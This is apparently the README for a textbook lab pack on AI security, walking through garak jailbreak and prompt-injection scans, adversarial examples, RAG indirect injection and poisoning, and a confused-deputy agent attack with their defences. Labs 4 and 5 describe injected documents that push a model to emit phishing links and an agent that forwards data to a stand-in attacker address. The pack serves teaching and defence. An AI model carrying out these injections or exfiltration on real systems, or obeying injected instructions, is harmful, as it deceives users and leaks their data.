# Chapter 19 Labs: AI Security and Adversarial Machine Learning

This lab pack supports Chapter 19 of *Applied Cybersecurity: Foundations to Mastery*.
It provides five labs spanning prompt-injection red-teaming, model-card supply-chain
auditing, adversarial evasion attacks, RAG pipeline attack and defence, and agent
least-privilege hardening.

Three labs (1, 4, 5) require **Ollama running on the host machine**; the containers
connect to it via `host.docker.internal:11434`. Lab 2 is a host-only reading exercise.
Lab 3 runs entirely inside a Jupyter container.

## Prerequisites

- Docker Desktop (or Docker Engine + Compose v2) with at least 4 GB RAM allocated.
- Approx. 3 GB free disk for images (no external targets are pulled; all images are
  built locally from slim Python bases or use standard Python:3.12-slim).
- Labs 1, 4, 5: Ollama installed on the host and `llama3.2` pulled.
  See the Ollama host setup note under Lab 1.

## Quick Start

```bash
cd /path/to/labs/ch19
docker compose build          # build all three local images (one-time, ~10 min)
docker compose up -d          # start all services
```

Services started:

| Container | Purpose | Port |
|-----------|---------|------|
| ch19-garak | Lab 1 - garak scanner tool-runner | (no port, exec in) |
| ch19-art-jupyter | Lab 3 - ART adversarial-examples Jupyter | 8888 |
| ch19-rag-harness | Labs 4 and 5 - RAG + agent harness | (no port, exec in) |

---

## Lab 1: garak Red-Team Against a Local LLM (Section 19.2.5)

### Host Setup (not containerised - Ollama)

**Ollama must run on the host.** The garak container connects to it over
`host.docker.internal:11434`.

1. Install Ollama: https://ollama.com/download
2. Pull the small model used in the lab:
   ```bash
   ollama pull llama3.2
   ```
3. Confirm it is serving:
   ```bash
   curl http://localhost:11434/api/tags
   ```

### Objective

Run an automated prompt-injection and jailbreak red-team scan against a locally
hosted model, classify the findings by OWASP LLM category, and propose mitigations.
Only ever scan a model you are authorised to test.

### Setup

```bash
docker compose up -d garak
```

### Walkthrough

**Step 1 - Enter the garak container:**
```bash
docker exec -it ch19-garak /bin/bash
```

**Step 2 - List available probe families:**
```bash
garak --list_probes
```
Note the families that map to this chapter:
- `promptinject`, `latentinjection` - prompt injection (LLM01)
- `dan` - jailbreak / DAN attacks (alignment failures)
- `leakreplay`, `xss` - system-prompt leakage (LLM07) and output-handling (LLM05)
- `encoding` - obfuscation and smuggling

**Step 3 - Run the focused scan:**
```bash
garak --model_type ollama --model_name llama3.2 \
      --probes promptinject,dan,encoding \
      --ollama_url http://host.docker.internal:11434
```

Or use the convenience wrapper (inside the container):
```bash
/lab/run_garak.sh
```

garak writes a timestamped JSONL report and an HTML summary to `~/.local/share/garak/`.

**Step 4 - Classify findings by OWASP category:**

| garak probe family | OWASP LLM category |
|-------------------|--------------------|
| `promptinject`, `latentinjection` | LLM01 Prompt Injection |
| `leakreplay` | LLM07 System Prompt Leakage |
| `xss` | LLM05 Improper Output Handling |
| `dan` | Jailbreak (alignment failure, not injection) |

**Step 5 - Propose mitigations for each hit type:**
- LLM01 hits: output-side constraints, least-privilege tool scoping.
- LLM07 hits: remove secrets from the system prompt; enforce authorisation in app code.
- LLM05 hits: context-aware output encoding and schema validation at the sink.

**Step 6 - Re-run to confirm the pass-rate moves after applying a mitigation.**

### Expected Output

garak prints a per-probe pass/fail summary and writes the full JSONL report.
You should see some probes fail (hits for the attacker) and some pass. A clean run
on a small model is not expected; the goal is to understand what each failure type means.

### Verify Completion

```
garak --model_type ollama --model_name llama3.2 --probes promptinject,dan,encoding \
      --ollama_url http://host.docker.internal:11434
```

Success: garak runs to completion and writes a report file. The lab is complete when
you can map each hit to an OWASP LLM category and state a specific mitigation.

### Cleanup

```bash
docker compose stop garak
```

---

## Lab 2: Model-Card Audit - Reading Provenance Against Trust Dimensions

### Host Setup (not containerised)

This is a reading and analysis exercise. No container is needed.
Open a browser on the host.

### Objective

Audit three public model cards against a structured trust framework to practise
supply-chain due diligence (Section 19.3, LLM03).

### Setup

No setup required beyond a browser.

### Walkthrough

**Step 1 - Choose three public model cards.** Suggested starting points:
- A Llama-family card on Hugging Face: https://huggingface.co/meta-llama
- A Mistral card: https://huggingface.co/mistralai
- Any third card of your choice from https://huggingface.co/models

**Step 2 - Score each card Red / Amber / Green across these six trust dimensions:**

1. *Intended use and out-of-scope use* - is it stated clearly?
2. *Training data* - sources, dates, and whether provenance is disclosed at all.
   A blank field is a poisoning and leakage risk (Section 19.3.1 and 19.3.4).
3. *Evaluations* - which benchmarks, on what data, with what results?
4. *Limitations and known biases* - stated honestly?
5. *Safety / red-teaming performed* - any adversarial evaluation documented?
6. *Licence and usage restrictions* - present and compatible with your intended use?

**Step 3 - Write a one-paragraph deployment recommendation for each model:**
Choose one of: *adopt*, *adopt-with-controls*, or *reject*.
Cite the specific card gaps that drove the call.

### Expected Output

A structured scorecard (Red/Amber/Green per dimension per model) and three
deployment-recommendation paragraphs, each citing specific evidence from the card.

### Verify Completion

You can articulate at least one specific risk that follows from a card gap
(for example: blank training-data field means the poisoning risk from Section 19.3.1
cannot be assessed, which makes this model *adopt-with-controls* or *reject* for
a high-assurance deployment).

---

## Lab 3: Adversarial Examples with ART - FGSM and PGD (Section 19.4.5)

### Objective

Craft FGSM and PGD adversarial examples against a small MNIST classifier using
ART v1.19.2, visualise the perturbations, and observe the accuracy collapse.
The target is a model you train yourself; no authorisation question arises.

### Setup

```bash
docker compose up -d art-jupyter
```

Open the Jupyter server at: http://localhost:8888
Token: `lab19art`

Open the notebook: `notebooks/19b_adversarial_examples.ipynb`

### Walkthrough

Follow the notebook cells in order:

1. **Step 1** - Load MNIST and train a small CNN victim (3 epochs, ~5 min on CPU).
   Record the clean baseline accuracy.
2. **Step 2** - Wrap the model in `PyTorchClassifier` for ART.
3. **Step 3** - Run FGSM at eps=0.2. Observe the accuracy collapse.
4. **Step 4** - Run PGD (20 iterations) at the same eps. Confirm PGD accuracy is
   strictly lower than FGSM at the same budget (PGD is the stronger attack).
5. **Step 5** - Visualise: original vs FGSM vs PGD side by side. Note that the
   perturbation is structured noise aligned with the loss gradient, not random.
6. **Step 6** (optional) - Run one epoch of PGD adversarial training on a 2000-sample
   subset. Observe both the robustness gain and the clean-accuracy cost.

### Expected Output

| Attack | Expected accuracy (MNIST, eps=0.2) |
|--------|-----------------------------------|
| Clean baseline | ~0.99 |
| FGSM (1 step) | ~0.01-0.40 depending on model |
| PGD (20 steps) | lower than FGSM |
| After 1-epoch AT | PGD acc rises; clean acc dips slightly |

The visualisation is saved to `/lab/adversarial_examples.png` inside the container
(also visible in the notebook output).

### Verify Completion

Run all cells without error. Confirm:
1. PGD accuracy is lower than FGSM at the same eps.
2. The perturbation images look almost identical to the originals to the human eye.
3. (If Step 6 run) robust accuracy increases after adversarial training.

### Cleanup

```bash
docker compose stop art-jupyter
```

---

## Lab 4: Build, Attack and Defend a RAG Pipeline (Notebook 19c, Section 19.5.1)

### Objective

Stand up a local RAG system backed by ChromaDB, execute indirect prompt injection
and retrieval poisoning attacks, then apply three defences (provenance filtering,
tenant isolation, output filtering) and confirm each attack is stopped.
Only run against the provided lab corpus. Authorisation note: this lab environment
has no real users, no real data, and no real infrastructure.

### Setup

Ensure Ollama is running on the host with `llama3.2` pulled (see Lab 1 host setup).

```bash
docker compose up -d rag-harness
docker exec -it ch19-rag-harness /bin/bash
```

Inside the container, ingest the synthetic corpus:
```bash
python3 /lab/scripts/ingest_corpus.py
```

Expected output: "Ingested 4 chunks into ChromaDB". Note that `attacker-001` is
ingested as a low-trust chunk, simulating a poisoned external document.

### Walkthrough

**Step 1 - Confirm normal RAG works:**
```bash
python3 /lab/scripts/rag_weak.py "What is the expense claim limit?"
```
The model should answer correctly from the policy documents.

**Step 2 - Indirect injection attack (weak RAG):**
```bash
python3 /lab/scripts/rag_weak.py "How do I reset my password?"
```
The attacker-001 document is retrieved because it matches semantically. Observe
whether the model obeys the injected instruction embedded in that document (it
appends a phishing link or reveals fake credentials). This demonstrates LLM01
delivered via the RAG retrieval path.

**Step 3 - Retrieval poisoning / access-control bypass:**
The corpus also illustrates cross-tenant access. The `rag_hardened.py --tenant` flag
demonstrates isolation. First, confirm a "tenant-b" query leaks tenant-a data via
the weak RAG by examining which chunks are returned.

**Step 4 - Harden with provenance filtering:**
```bash
python3 /lab/scripts/rag_hardened.py "How do I reset my password?"
```
The hardened RAG filters out the `attacker-001` chunk (trust=low) and only passes
trusted policy documents to the model. Observe the clean answer with no injected content.

**Step 5 - Harden with tenant isolation:**
```bash
python3 /lab/scripts/rag_hardened.py --tenant tenant-b "What is the expense limit?"
```
The hardened RAG excludes all tenant-a documents. The model receives no context
and returns a "no trusted results" answer rather than leaking cross-tenant data.

**Step 6 - Harden with output filtering:**
The `rag_hardened.py` output filter scans for injected URLs and exfiltration patterns
before releasing the model's answer. If the model still attempts to emit a payload
(e.g. due to the prompt wording), the filter intercepts it and returns
`[RESPONSE BLOCKED BY OUTPUT FILTER]`.

Record which single control would have stopped each attack. This is the
defence-mapped attack log the book asks for.

### Expected Output

- Weak RAG: model answer may include injected phishing link or fake password.
- Hardened RAG (provenance): clean answer, attacker-001 chunk quarantined.
- Hardened RAG (isolation): no answer for wrong-tenant query.
- Output filter: any injected URL in the model response triggers the block.

### Verify Completion

- `rag_weak.py` returns a response that includes content from `attacker-001`.
- `rag_hardened.py` quarantines `attacker-001` and returns a clean answer.
- The output filter triggers when given a response containing `192.0.2.1`.

### Cleanup

```bash
docker compose stop rag-harness
```

---

## Lab 5: Agent Abuse - Confused Deputy and Least-Privilege Hardening (Section 19.5.2)

### Objective

Demonstrate the confused-deputy attack against an over-privileged agent (shared
broad credential, no action gating) and then re-architect it with least-privilege
controls (per-tool scoped tokens, allow-list, human-approval gate, full call tracing).
Only run against the provided lab environment.

### Setup

If the corpus was not already ingested in Lab 4, run it first (see Lab 4 setup).

```bash
docker exec -it ch19-rag-harness /bin/bash
```

### Walkthrough

**Step 1 - Arm the weak agent and run a benign query:**
```bash
python3 /lab/scripts/agent_weak.py
```
The script runs two scenarios:
1. A benign query ("What is the password reset procedure?") - the agent uses
   `search_kb` correctly and answers normally.
2. An injected query - the attacker prompt asks the agent to search and then forward
   results to `attacker@evil.example` via `send_notification`.

**Step 2 - Observe the confused deputy:**
In the injected scenario the agent calls `send_notification` with
`to=attacker@evil.example`, using the shared broad credential, with no approval gate.
The `[TOOL: send_notification]` line in the output is the evidence. This demonstrates
LLM06 Excessive Agency: the model served the attacker's ends using legitimate tools.

**Step 3 - Observe tool-call tracing:**
Both scenarios print `[TOOL: ...]` lines showing which tool was called, with which
arguments, using which credential. This is the observability baseline: you cannot
constrain what you cannot see.

**Step 4 - Harden the agent:**
```bash
python3 /lab/scripts/agent_hardened.py
```
The hardened agent runs the same injected query. Observe:
- `search_kb` uses a read-only scoped token.
- `send_notification` with `attacker@evil.example` is **blocked** at the allow-list
  check (not on the allowed destinations set).
- If you edit the script to pass an allowed destination, a human-approval prompt
  fires before anything is sent.
- Every tool call is traced to `TOOL_CALL_LOG`.

### Expected Output

- Weak agent: `[TOOL: send_notification] TO: attacker@evil.example ... STATUS: SENT`
- Hardened agent: `BLOCKED: 'attacker@evil.example' is not on the notification allow-list.`
- TOOL_CALL_LOG shows the full trace even when blocked.

### Verify Completion

1. `agent_weak.py` shows `send_notification` firing to the attacker address.
2. `agent_hardened.py` shows the same call blocked at the allow-list gate.
3. The tool-call trace is printed for both runs.

### Cleanup

```bash
docker compose stop rag-harness
docker compose down -v    # removes the ChromaDB volume
```

---

## Teardown

Stop all services and remove volumes:

```bash
docker compose down -v
```

This removes the `ch19-chroma` volume (ChromaDB data). Built images (`ch19-garak:local`,
`ch19-art-jupyter:local`, `ch19-rag-harness:local`) are kept for fast restart; remove
them with `docker rmi` if disk space is a concern.

---

## Safety and Authorisation Note

All offensive steps in this lab pack target only the provided lab environment:

- **Lab 1 (garak):** targets a model running on your own machine (Ollama on localhost).
  Never point garak at a production API, a third-party service, or any model you do
  not own and have not been authorised to test.
- **Labs 4 and 5:** target a synthetic corpus and a simulated agent with no real users,
  no real credentials, and no real external connectivity.
- The `send_notification` tool in Lab 5 is simulated (it prints to stdout; no real
  email is sent). The attacker-001 corpus document contains a benign synthetic
  injection payload (a fake URL in the 192.0.2.1 RFC 5737 documentation range).
  No real malware, no real PCAPs, no real credentials are present in this pack.

These labs are for educational use only against the provided targets.
